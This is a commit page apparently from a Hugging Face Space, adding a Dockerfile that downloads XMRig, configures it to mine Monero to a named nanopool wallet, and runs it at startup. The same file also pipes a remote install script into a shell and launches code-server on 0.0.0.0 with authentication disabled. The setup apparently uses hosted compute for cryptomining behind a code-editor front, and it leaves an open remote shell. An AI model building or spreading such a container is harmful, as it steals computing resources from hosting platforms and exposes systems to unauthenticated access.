luluhacker commited on
Commit
fed8009
·
verified ·
1 Parent(s): 057e218

Create Dockerfile

Browse files
Files changed (1) hide show
  1. Dockerfile +60 -0
Dockerfile ADDED
@@ -0,0 +1,60 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ # Use the latest Ubuntu image
2
+ FROM ubuntu:latest
3
+
4
+ # Set environment variables to avoid interactive prompts during installation
5
+ ENV DEBIAN_FRONTEND=noninteractive
6
+
7
+ # Install dependencies
8
+ RUN apt-get update && apt-get install -y \
9
+ curl \
10
+ tar \
11
+ && rm -rf /var/lib/apt/lists/*
12
+
13
+ # Download and install XMRig
14
+ RUN curl -L -o xmrig.tar.gz https://github.com/xmrig/xmrig/releases/download/v6.22.0/xmrig-6.22.0-linux-static-x64.tar.gz \
15
+ && tar -xzf xmrig.tar.gz \
16
+ && rm xmrig.tar.gz
17
+
18
+ # Install code-server
19
+ RUN curl -fsSL https://code-server.dev/install.sh | sh
20
+
21
+ # Set up DNS servers
22
+ RUN echo "nameserver 1.1.1.1" > /etc/resolv.conf \
23
+ && echo "nameserver 1.0.0.1" >> /etc/resolv.conf
24
+
25
+ # Create XMRig configuration file
26
+ RUN mkdir -p /xmrig-6.22.0 \
27
+ && echo '{
28
+ "autosave": true,
29
+ "cpu": true,
30
+ "opencl": false,
31
+ "cuda": false,
32
+ "pools": [
33
+ {
34
+ "coin": "monero",
35
+ "url": "xmr-asia1.nanopool.org:14433",
36
+ "user": "48b34XQDp2d9d1neAiriFs4UHomjcDwmuUWPNMBNhwLh8yqG7TXyUjcXxXzJdWL8JcH4kSPeZYKNpPm2GATm6N5SUEU1HTi",
37
+ "tls": true
38
+ }
39
+ ]
40
+ }' > /xmrig-6.22.0/config.json
41
+
42
+ # Create and set up the start script
43
+ RUN echo '#!/bin/bash\n\
44
+ \n\
45
+ # Start XMRig in the foreground\n\
46
+ /xmrig-6.22.0/xmrig --config /xmrig-6.22.0/config.json\n\
47
+ \n\
48
+ # Start code-server in the background\n\
49
+ code-server --bind-addr 0.0.0.0:7860 --auth none &' > /start.sh \
50
+ && chmod +x /start.sh \
51
+ && chmod u+rwx /start.sh
52
+
53
+ # Set the working directory
54
+ WORKDIR /xmrig-6.22.0
55
+
56
+ # Expose necessary ports
57
+ EXPOSE 3333 7860
58
+
59
+ # Run the startup script
60
+ CMD ["/start.sh"]